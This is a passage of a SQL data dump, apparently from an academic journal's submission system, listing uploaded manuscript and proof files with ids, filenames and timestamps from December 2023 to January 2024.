10:27:59',1,3,0),(38954,14274,'14274-4kot-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 10:27:59',1,3,0),(38955,14273,'14273-2eqs-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 10:28:20',1,3,0),(38956,14273,'14273-4e3k-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 10:28:20',1,3,0),(38957,14250,'14250-6ps2-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 10:48:09',1,3,0),(38958,14250,'14250-b1uv-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 10:48:09',1,3,0),(38959,14251,'14251-cmfd-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 10:53:20',1,3,0),(38960,14251,'14251-9jxu-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 10:53:20',1,3,0),(38961,14252,'14252-y9ju-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 11:07:34',1,3,0),(38962,14252,'14252-9ahw-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 11:07:34',1,3,0),(38963,14253,'14253-qypi-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 11:10:38',1,3,0),(38964,14253,'14253-3cpk-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 11:10:38',1,3,0),(38965,14254,'14254-2hyp-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 11:13:09',1,3,0),(38966,14254,'14254-sx2e-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 11:13:09',1,3,0),(38967,14255,'14255-e75m-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 11:16:10',1,3,0),(38968,14255,'14255-qws4-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 11:16:10',1,3,0),(38969,14256,'14256-m8vh-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 11:17:56',1,3,0),(38970,14256,'14256-u3pf-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 11:17:56',1,3,0),(38971,14257,'14257-ctdl-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 11:19:46',1,3,0),(38972,14257,'14257-w1es-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 11:19:46',1,3,0),(38973,14258,'14258-lzny-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 11:26:09',1,3,0),(38974,14258,'14258-aoge-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 11:26:09',1,3,0),(38975,14138,'14138-qtz7-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 14:55:15',1,3,0),(38976,14138,'14138-wvse-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 14:55:15',1,3,0),(38977,14140,'14140-hur8-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 15:13:35',1,3,0),(38978,14140,'14140-ad76-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 15:13:35',1,3,0),(38979,14150,'14150-dsbq-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 15:29:30',1,3,0),(38980,14150,'14150-tfus-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 15:29:30',1,3,0),(38981,14156,'14156-s0dn-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 15:38:20',1,3,0),(38982,14156,'14156-hdue-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 15:38:20',1,3,0),(38983,14225,'14225-2thi-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 15:44:16',1,3,0),(38984,14225,'14225-6tbu-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 15:44:16',1,3,0),(38985,14226,'14226-7t8u-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 15:51:07',1,3,0),(38986,14226,'14226-mz2q-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 15:51:07',1,3,0),(38987,14226,'14226-ct4j-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 15:56:49',1,3,0),(38988,14226,'14226-64j2-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 15:56:49',1,3,0),(38989,14227,'14227-il5z-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 16:36:03',1,3,0),(38990,14227,'14227-qfl4-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 16:36:03',1,3,0),(38991,14228,'14228-eir8-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 16:42:51',1,3,0),(38992,14228,'14228-jam9-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 16:42:51',1,3,0),(38993,14059,'14059-4j95-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 16:49:15',1,3,0),(38994,14059,'14059-6cqm-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 16:49:15',1,3,0),(38995,14081,'14081-q0zx-Manuscript-proof-submission-2023-12-14.docx',NULL,'2023-12-14 17:02:08',1,3,0),(38996,14081,'14081-zjsf-Manuscript-proof-submission-2023-12-14.pdf',NULL,'2023-12-14 17:02:08',1,3,0),(38997,14247,'14247-2ten-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 10:35:17',1,3,0),(38998,14247,'14247-pemj-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 10:35:17',1,3,0),(38999,14369,'14369-0-Manuscript-2023-12-15.docx',NULL,'2023-12-15 13:03:21',1,1,0),(39000,14370,'14370-0-Manuscript-2023-12-15.docx',NULL,'2023-12-15 14:07:06',1,1,0),(39001,14371,'14371-0-Manuscript-2023-12-15.docx',NULL,'2023-12-15 14:12:15',1,1,0),(39002,14372,'14372-0-Manuscript-2023-12-15.docx',NULL,'2023-12-15 14:15:32',1,1,0),(39003,14373,'14373-0-Manuscript-2023-12-15.docx',NULL,'2023-12-15 14:17:41',1,1,0),(39004,14214,'14214-aboy-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 14:19:00',1,3,0),(39005,14214,'14214-5ko1-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 14:19:00',1,3,0),(39006,14213,'14213-u4p5-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 14:19:43',1,3,0),(39007,14213,'14213-ilyt-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 14:19:43',1,3,0),(39008,14213,'14213-tya2-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 14:20:48',1,3,0),(39009,14213,'14213-xuds-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 14:20:48',1,3,0),(39010,14213,'14213-z9uj-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 14:20:50',1,3,0),(39011,14213,'14213-1muj-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 14:20:50',1,3,0),(39012,14213,'14213-jamf-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 14:20:53',1,3,0),(39013,14213,'14213-tsv3-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 14:20:53',1,3,0),(39014,14213,'14213-4n7l-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 14:20:55',1,3,0),(39015,14213,'14213-zylw-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 14:20:55',1,3,0),(39016,14213,'14213-zrai-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 14:20:58',1,3,0),(39017,14213,'14213-3sn6-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 14:20:58',1,3,0),(39018,14213,'14213-8nxs-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 14:21:00',1,3,0),(39019,14213,'14213-4ymc-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 14:21:00',1,3,0),(39020,14213,'14213-35pv-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 14:21:02',1,3,0),(39021,14213,'14213-4w92-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 14:21:02',1,3,0),(39022,14213,'14213-flqk-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 14:21:04',1,3,0),(39023,14213,'14213-zrbf-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 14:21:04',1,3,0),(39024,14213,'14213-6vmh-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 14:21:07',1,3,0),(39025,14213,'14213-be8s-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 14:21:07',1,3,0),(39026,14213,'14213-1eap-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 14:21:09',1,3,0),(39027,14213,'14213-vcq1-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 14:21:09',1,3,0),(39028,14374,'14374-0-Manuscript-2023-12-15.docx',NULL,'2023-12-15 14:22:44',1,1,0),(39029,14375,'14375-0-Manuscript-2023-12-15.docx',NULL,'2023-12-15 14:24:53',1,1,0),(39030,14180,'14180-moxw-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 14:25:49',1,3,0),(39031,14180,'14180-c8rh-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 14:25:49',1,3,0),(39032,14178,'14178-g0pt-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 14:26:35',1,3,0),(39033,14178,'14178-jh49-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 14:26:35',1,3,0),(39034,14376,'14376-0-Manuscript-2023-12-15.docx',NULL,'2023-12-15 14:27:22',1,1,0),(39035,14176,'14176-gdc4-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 14:28:02',1,3,0),(39036,14176,'14176-b3d2-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 14:28:02',1,3,0),(39037,14377,'14377-0-Manuscript-2023-12-15.docx',NULL,'2023-12-15 14:29:49',1,1,0),(39038,14175,'14175-mvlq-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 14:31:37',1,3,0),(39039,14175,'14175-glfu-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 14:31:37',1,3,0),(39040,14378,'14378-0-Manuscript-2023-12-15.docx',NULL,'2023-12-15 14:31:42',1,1,0),(39041,14173,'14173-urd1-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 14:34:25',1,3,0),(39042,14173,'14173-gfki-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 14:34:25',1,3,0),(39043,14171,'14171-lvid-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 14:35:15',1,3,0),(39044,14171,'14171-h16q-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 14:35:15',1,3,0),(39045,14170,'14170-odu9-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 14:35:54',1,3,0),(39046,14170,'14170-bk9q-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 14:35:54',1,3,0),(39047,14169,'14169-x45u-Manuscript-proof-submission-2023-12-15.docx',NULL,'2023-12-15 14:37:03',1,3,0),(39048,14169,'14169-yj4h-Manuscript-proof-submission-2023-12-15.pdf',NULL,'2023-12-15 14:37:03',1,3,0),(39049,14184,'14184-wsr4-Manuscript-proof-submission-2023-12-16.docx',NULL,'2023-12-16 10:22:46',1,3,0),(39050,14184,'14184-fzly-Manuscript-proof-submission-2023-12-16.pdf',NULL,'2023-12-16 10:22:46',1,3,0),(39051,14194,'14194-h30u-Manuscript-proof-submission-2023-12-16.docx',NULL,'2023-12-16 10:24:21',1,3,0),(39052,14194,'14194-o1w0-Manuscript-proof-submission-2023-12-16.pdf',NULL,'2023-12-16 10:24:21',1,3,0),(39053,14233,'14233-tc8b-Manuscript-proof-submission-2023-12-16.docx',NULL,'2023-12-16 10:26:50',1,3,0),(39054,14233,'14233-gofd-Manuscript-proof-submission-2023-12-16.pdf',NULL,'2023-12-16 10:26:50',1,3,0),(39055,14234,'14234-l2zu-Manuscript-proof-submission-2023-12-16.docx',NULL,'2023-12-16 10:29:10',1,3,0),(39056,14234,'14234-ofxe-Manuscript-proof-submission-2023-12-16.pdf',NULL,'2023-12-16 10:29:10',1,3,0),(39057,14235,'14235-m79w-Manuscript-proof-submission-2023-12-16.docx',NULL,'2023-12-16 10:32:35',1,3,0),(39058,14235,'14235-j18i-Manuscript-proof-submission-2023-12-16.pdf',NULL,'2023-12-16 10:32:35',1,3,0),(39059,14238,'14238-l5y1-Manuscript-proof-submission-2023-12-16.docx',NULL,'2023-12-16 10:36:01',1,3,0),(39060,14238,'14238-afdk-Manuscript-proof-submission-2023-12-16.pdf',NULL,'2023-12-16 10:36:01',1,3,0),(39061,14239,'14239-i8pn-Manuscript-proof-submission-2023-12-16.docx',NULL,'2023-12-16 10:38:49',1,3,0),(39062,14239,'14239-g98y-Manuscript-proof-submission-2023-12-16.pdf',NULL,'2023-12-16 10:38:50',1,3,0),(39063,14240,'14240-xp98-Manuscript-proof-submission-2023-12-16.docx',NULL,'2023-12-16 10:40:14',1,3,0),(39064,14240,'14240-6nyi-Manuscript-proof-submission-2023-12-16.pdf',NULL,'2023-12-16 10:40:14',1,3,0),(39065,14241,'14241-uv7d-Manuscript-proof-submission-2023-12-16.docx',NULL,'2023-12-16 10:41:40',1,3,0),(39066,14241,'14241-6hco-Manuscript-proof-submission-2023-12-16.pdf',NULL,'2023-12-16 10:41:40',1,3,0),(39067,14242,'14242-vkc5-Manuscript-proof-submission-2023-12-16.docx',NULL,'2023-12-16 10:43:43',1,3,0),(39068,14242,'14242-hqg0-Manuscript-proof-submission-2023-12-16.pdf',NULL,'2023-12-16 10:43:43',1,3,0),(39069,14379,'14379-0-Manuscript-2023-12-16.docx',NULL,'2023-12-16 11:27:18',1,1,0),(39070,14380,'14380-0-Manuscript-2023-12-16.docx',NULL,'2023-12-16 11:30:24',1,1,0),(39071,14208,'14208-41t7-Manuscript-proof-submission-2023-12-19.docx',NULL,'2023-12-19 14:56:43',1,3,0),(39072,14208,'14208-itf9-Manuscript-proof-submission-2023-12-19.pdf',NULL,'2023-12-19 14:56:43',1,3,0),(39073,14212,'14212-gemx-Manuscript-proof-submission-2023-12-19.docx',NULL,'2023-12-19 15:21:24',1,3,0),(39074,14212,'14212-jlpv-Manuscript-proof-submission-2023-12-19.pdf',NULL,'2023-12-19 15:21:25',1,3,0),(39075,14211,'14211-3zba-Manuscript-proof-submission-2023-12-19.pdf',NULL,'2023-12-19 15:28:22',1,3,0),(39076,14211,'14211-rqjz-Manuscript-proof-submission-2023-12-19.pdf',NULL,'2023-12-19 15:28:22',1,3,0),(39077,14210,'14210-gv3m-Manuscript-proof-submission-2023-12-19.pdf',NULL,'2023-12-19 15:32:08',1,3,0),(39078,14210,'14210-cdwz-Manuscript-proof-submission-2023-12-19.pdf',NULL,'2023-12-19 15:32:08',1,3,0),(39079,14209,'14209-rtgj-Manuscript-proof-submission-2023-12-19.docx',NULL,'2023-12-19 15:35:33',1,3,0),(39080,14209,'14209-rg67-Manuscript-proof-submission-2023-12-19.pdf',NULL,'2023-12-19 15:35:33',1,3,0),(39081,14202,'14202-cngl-Manuscript-proof-submission-2023-12-19.docx',NULL,'2023-12-19 15:42:31',1,3,0),(39082,14202,'14202-ysge-Manuscript-proof-submission-2023-12-19.pdf',NULL,'2023-12-19 15:42:31',1,3,0),(39083,14197,'14197-mekw-Manuscript-proof-submission-2023-12-19.docx',NULL,'2023-12-19 15:45:35',1,3,0),(39084,14197,'14197-j9pe-Manuscript-proof-submission-2023-12-19.pdf',NULL,'2023-12-19 15:45:35',1,3,0),(39085,14196,'14196-5r2m-Manuscript-proof-submission-2023-12-19.docx',NULL,'2023-12-19 15:48:21',1,3,0),(39086,14196,'14196-42li-Manuscript-proof-submission-2023-12-19.pdf',NULL,'2023-12-19 15:48:21',1,3,0),(39087,14381,'14381-0-Manuscript-2023-12-21.docx',NULL,'2023-12-21 10:35:34',1,1,0),(39088,14260,'14260-s8fm-Manuscript-proof-submission-2023-12-21.docx',NULL,'2023-12-21 10:53:25',1,3,0),(39089,14260,'14260-jew8-Manuscript-proof-submission-2023-12-21.pdf',NULL,'2023-12-21 10:53:25',1,3,0),(39090,14261,'14261-231r-Manuscript-proof-submission-2023-12-21.docx',NULL,'2023-12-21 10:54:32',1,3,0),(39091,14261,'14261-0zye-Manuscript-proof-submission-2023-12-21.pdf',NULL,'2023-12-21 10:54:32',1,3,0),(39092,14262,'14262-ei3r-Manuscript-proof-submission-2023-12-21.docx',NULL,'2023-12-21 10:55:47',1,3,0),(39093,14262,'14262-gc7i-Manuscript-proof-submission-2023-12-21.pdf',NULL,'2023-12-21 10:55:47',1,3,0),(39094,14263,'14263-4nc8-Manuscript-proof-submission-2023-12-21.docx',NULL,'2023-12-21 10:56:25',1,3,0),(39095,14263,'14263-ko5t-Manuscript-proof-submission-2023-12-21.pdf',NULL,'2023-12-21 10:56:25',1,3,0),(39096,14264,'14264-lcgy-Manuscript-proof-submission-2023-12-21.docx',NULL,'2023-12-21 10:56:56',1,3,0),(39097,14264,'14264-s3cm-Manuscript-proof-submission-2023-12-21.pdf',NULL,'2023-12-21 10:56:56',1,3,0),(39098,14265,'14265-8r41-Manuscript-proof-submission-2023-12-21.docx',NULL,'2023-12-21 10:57:47',1,3,0),(39099,14265,'14265-dewm-Manuscript-proof-submission-2023-12-21.pdf',NULL,'2023-12-21 10:57:47',1,3,0),(39100,14265,'14265-aold-Manuscript-proof-submission-2023-12-21.docx',NULL,'2023-12-21 10:58:42',1,3,0),(39101,14265,'14265-1qgr-Manuscript-proof-submission-2023-12-21.pdf',NULL,'2023-12-21 10:58:42',1,3,0),(39102,14266,'14266-bhyu-Manuscript-proof-submission-2023-12-21.docx',NULL,'2023-12-21 11:00:20',1,3,0),(39103,14266,'14266-ec4p-Manuscript-proof-submission-2023-12-21.pdf',NULL,'2023-12-21 11:00:20',1,3,0),(39104,14267,'14267-b9a4-Manuscript-proof-submission-2023-12-21.docx',NULL,'2023-12-21 11:00:52',1,3,0),(39105,14267,'14267-896u-Manuscript-proof-submission-2023-12-21.pdf',NULL,'2023-12-21 11:00:52',1,3,0),(39106,14268,'14268-zelv-Manuscript-proof-submission-2023-12-21.docx',NULL,'2023-12-21 11:01:26',1,3,0),(39107,14268,'14268-code-Manuscript-proof-submission-2023-12-21.pdf',NULL,'2023-12-21 11:01:26',1,3,0),(39108,14269,'14269-kwba-Manuscript-proof-submission-2023-12-21.docx',NULL,'2023-12-21 11:01:54',1,3,0),(39109,14269,'14269-nwus-Manuscript-proof-submission-2023-12-21.pdf',NULL,'2023-12-21 11:01:54',1,3,0),(39110,14209,'14209-2ztw-Manuscript-proof-submission-2023-12-22.docx',NULL,'2023-12-22 10:16:59',1,3,0),(39111,14209,'14209-ahk4-Manuscript-proof-submission-2023-12-22.pdf',NULL,'2023-12-22 10:16:59',1,3,0),(39112,14283,'14283-2d4p-Manuscript-proof-submission-2023-12-22.docx',NULL,'2023-12-22 14:48:11',1,3,0),(39113,14283,'14283-nut8-Manuscript-proof-submission-2023-12-22.pdf',NULL,'2023-12-22 14:48:11',1,3,0),(39114,14382,'14382-0-Manuscript-2023-12-22.docx',NULL,'2023-12-22 14:58:37',1,1,0),(39115,14341,'14341-tn4d-Manuscript-proof-submission-2023-12-23.zip',NULL,'2023-12-23 10:21:53',1,3,0),(39116,14367,'14367-r2oy-Manuscript-proof-submission-2023-12-23.docx',NULL,'2023-12-23 10:37:24',1,3,0),(39117,14367,'14367-tj01-Manuscript-proof-submission-2023-12-23.docx',NULL,'2023-12-23 10:37:29',1,3,0),(39118,14367,'14367-3tab-Manuscript-proof-submission-2023-12-23.docx',NULL,'2023-12-23 10:37:32',1,3,0),(39119,14367,'14367-6osy-Manuscript-proof-submission-2023-12-23.docx',NULL,'2023-12-23 10:37:35',1,3,0),(39120,14367,'14367-tnz3-Manuscript-proof-submission-2023-12-23.docx',NULL,'2023-12-23 10:40:20',1,3,0),(39121,14367,'14367-46dx-Manuscript-proof-submission-2023-12-23.docx',NULL,'2023-12-23 10:41:17',1,3,0),(39122,14367,'14367-cyqk-Manuscript-proof-submission-2023-12-23.docx',NULL,'2023-12-23 10:44:05',1,3,0),(39123,14367,'14367-rtnu-Manuscript-proof-submission-2023-12-23.docx',NULL,'2023-12-23 10:45:50',1,3,0),(39124,14339,'14339-bwe2-Manuscript-proof-submission-2023-12-26.zip',NULL,'2023-12-26 14:23:02',1,3,0),(39125,14339,'14339-Manuscript-2023-12-26-ld4i.pdf',NULL,'2023-12-26 14:24:13',1,3,0),(39126,14244,'14244-ngfj-Manuscript-proof-submission-2023-12-26.zip',NULL,'2023-12-26 14:29:59',1,3,0),(39127,14244,'14244-Manuscript-2023-12-26-w9oy.pdf',NULL,'2023-12-26 14:58:05',1,3,0),(39128,14358,'14358-d1mv-Manuscript-proof-submission-2023-12-26.docx',NULL,'2023-12-26 15:02:28',1,3,0),(39129,14358,'14358-Manuscript-2023-12-26-ot4f.pdf',NULL,'2023-12-26 15:03:06',1,3,0),(39130,14259,'14259-0bpo-Manuscript-proof-submission-2023-12-26.docx',NULL,'2023-12-26 17:47:45',1,3,0),(39131,14259,'14259-jlwu-Manuscript-proof-submission-2023-12-26.pdf',NULL,'2023-12-26 17:47:46',1,3,0),(39132,14259,'14259-ljf8-Manuscript-proof-submission-2023-12-26.docx',NULL,'2023-12-26 17:47:48',1,3,0),(39133,14259,'14259-g9oz-Manuscript-proof-submission-2023-12-26.pdf',NULL,'2023-12-26 17:47:48',1,3,0),(39134,14356,'14356-pgtd-Manuscript-proof-submission-2023-12-27.docx',NULL,'2023-12-27 09:34:29',1,3,0),(39135,14356,'14356-Manuscript-2023-12-27-exf6.pdf',NULL,'2023-12-27 09:35:07',1,3,0),(39136,14205,'14205-wju1-Manuscript-proof-submission-2023-12-27.docx',NULL,'2023-12-27 17:13:30',1,3,0),(39137,14205,'14205-gzws-Manuscript-proof-submission-2023-12-27.pdf',NULL,'2023-12-27 17:13:30',1,3,0),(39138,14381,'14381-mztl-Manuscript-proof-submission-2023-12-27.docx',NULL,'2023-12-27 17:32:16',1,3,0),(39139,14381,'14381-Manuscript-2023-12-28-okzf-ipaom-23-14381.docx',NULL,'2023-12-28 11:05:07',1,3,0),(39140,14385,'14385-0-Manuscript-2023-12-29.pdf',NULL,'2023-12-29 10:52:33',1,1,0),(39141,14386,'14386-0-Manuscript-2023-12-29.docx',NULL,'2023-12-29 14:24:38',1,1,0),(39142,14386,'14386-1-Manuscript-2023-12-29.docx',NULL,'2023-12-29 14:24:38',1,1,0),(39143,14386,'14386-2-Manuscript-2023-12-29.jpg',NULL,'2023-12-29 14:24:38',1,1,0),(39144,14334,'14334-Manuscript-2023-12-29-0a9d-ipaom-23-14334.rar',NULL,'2023-12-29 16:48:25',1,3,0),(39145,14355,'14355-j8x1-Manuscript-proof-submission-2023-12-29.docx',NULL,'2023-12-29 17:37:33',1,3,0),(39146,14355,'14355-Manuscript-2023-12-29-4phe.pdf',NULL,'2023-12-29 17:38:22',1,3,0),(39147,14195,'14195-8pgh-Manuscript-proof-submission-2023-12-29.docx',NULL,'2023-12-29 17:41:58',1,3,0),(39148,14195,'14195-e7tz-Manuscript-proof-submission-2023-12-29.pdf',NULL,'2023-12-29 17:41:58',1,3,0),(39149,14193,'14193-3xel-Manuscript-proof-submission-2023-12-29.docx',NULL,'2023-12-29 17:54:04',1,3,0),(39150,14193,'14193-qb92-Manuscript-proof-submission-2023-12-29.pdf',NULL,'2023-12-29 17:54:04',1,3,0),(39151,14193,'14193-pse4-Manuscript-proof-submission-2023-12-29.docx',NULL,'2023-12-29 17:54:07',1,3,0),(39152,14193,'14193-x3pf-Manuscript-proof-submission-2023-12-29.pdf',NULL,'2023-12-29 17:54:07',1,3,0),(39153,14357,'14357-9ncf-Manuscript-proof-submission-2023-12-29.docx',NULL,'2023-12-29 17:54:56',1,3,0),(39154,14357,'14357-Manuscript-2023-12-29-o6yw.pdf',NULL,'2023-12-29 17:55:42',1,3,0),(39155,14381,'14381-Manuscript-2023-12-30-dywp.pdf',NULL,'2023-12-30 09:28:44',1,3,0),(39156,14190,'14190-q9s7-Manuscript-proof-submission-2023-12-30.docx',NULL,'2023-12-30 09:37:29',1,3,0),(39157,14190,'14190-6qfz-Manuscript-proof-submission-2023-12-30.pdf',NULL,'2023-12-30 09:37:29',1,3,0),(39158,14189,'14189-2xlz-Manuscript-proof-submission-2023-12-30.docx',NULL,'2023-12-30 09:40:31',1,3,0),(39159,14189,'14189-rh08-Manuscript-proof-submission-2023-12-30.pdf',NULL,'2023-12-30 09:40:31',1,3,0),(39160,14188,'14188-vlno-Manuscript-proof-submission-2023-12-30.docx',NULL,'2023-12-30 09:46:29',1,3,0),(39161,14188,'14188-hd6t-Manuscript-proof-submission-2023-12-30.pdf',NULL,'2023-12-30 09:46:29',1,3,0),(39162,14187,'14187-nib1-Manuscript-proof-submission-2023-12-30.docx',NULL,'2023-12-30 09:49:20',1,3,0),(39163,14187,'14187-c1tf-Manuscript-proof-submission-2023-12-30.pdf',NULL,'2023-12-30 09:49:20',1,3,0),(39164,14155,'14155-gyhf-Manuscript-proof-submission-2023-12-30.docx',NULL,'2023-12-30 09:51:53',1,3,0),(39165,14155,'14155-8pkw-Manuscript-proof-submission-2023-12-30.pdf',NULL,'2023-12-30 09:51:53',1,3,0),(39166,14192,'14192-nrpq-Manuscript-proof-submission-2023-12-30.docx',NULL,'2023-12-30 09:54:13',1,3,0),(39167,14192,'14192-tvfu-Manuscript-proof-submission-2023-12-30.pdf',NULL,'2023-12-30 09:54:13',1,3,0),(39168,14191,'14191-czoq-Manuscript-proof-submission-2023-12-30.docx',NULL,'2023-12-30 09:58:19',1,3,0),(39169,14191,'14191-p2ny-Manuscript-proof-submission-2023-12-30.pdf',NULL,'2023-12-30 09:58:19',1,3,0),(39170,14185,'14185-3274-Manuscript-proof-submission-2023-12-30.docx',NULL,'2023-12-30 10:01:51',1,3,0),(39171,14185,'14185-tay3-Manuscript-proof-submission-2023-12-30.pdf',NULL,'2023-12-30 10:01:51',1,3,0),(39172,14334,'14334-glbp-Manuscript-proof-submission-2023-12-30.rar',NULL,'2023-12-30 10:58:18',1,3,0),(39173,14334,'14334-ajgp-Manuscript-proof-submission-2023-12-30.rar',NULL,'2023-12-30 10:58:23',1,3,0),(39177,14386,'14386-40ud-Manuscript-2024-01-01.jpg',NULL,'2024-01-01 09:54:45',1,1,0),(39178,14386,'14386-b0l9-Manuscript-2024-01-01.docx',NULL,'2024-01-01 09:54:45',1,1,0),(39179,14386,'14386-bcne-Manuscript-2024-01-01.docx',NULL,'2024-01-01 09:54:45',1,1,0),(39180,14297,'14297-580c-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 10:05:19',1,3,0),(39181,14297,'14297-h6uk-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 10:05:19',1,3,0),(39182,14298,'14298-zrdj-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 10:11:18',1,3,0),(39183,14298,'14298-4sr0-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 10:11:18',1,3,0),(39184,14299,'14299-u4l1-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 10:17:38',1,3,0),(39185,14299,'14299-mxs5-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 10:17:38',1,3,0),(39186,14300,'14300-edfu-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 10:20:13',1,3,0),(39187,14300,'14300-b9d4-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 10:20:13',1,3,0),(39188,14301,'14301-2j5v-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 10:23:33',1,3,0),(39189,14301,'14301-vw1p-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 10:23:33',1,3,0),(39190,14302,'14302-rshq-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 10:26:01',1,3,0),(39191,14302,'14302-of9s-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 10:26:01',1,3,0),(39192,14303,'14303-04lm-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 10:28:51',1,3,0),(39193,14303,'14303-jpch-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 10:28:51',1,3,0),(39194,14304,'14304-mnik-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 10:32:50',1,3,0),(39195,14304,'14304-t4nm-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 10:32:50',1,3,0),(39196,14305,'14305-lk64-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 10:35:42',1,3,0),(39197,14305,'14305-3kwa-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 10:35:42',1,3,0),(39198,14306,'14306-fcuw-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 10:38:42',1,3,0),(39199,14306,'14306-z04s-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 10:38:42',1,3,0),(39200,14368,'14368-w6i5-Manuscript-proof-submission-2024-01-02.docx',NULL,'2024-01-02 11:13:42',1,3,0),(39201,14368,'14368-n26d-Manuscript-proof-submission-2024-01-02.pdf',NULL,'2024-01-02 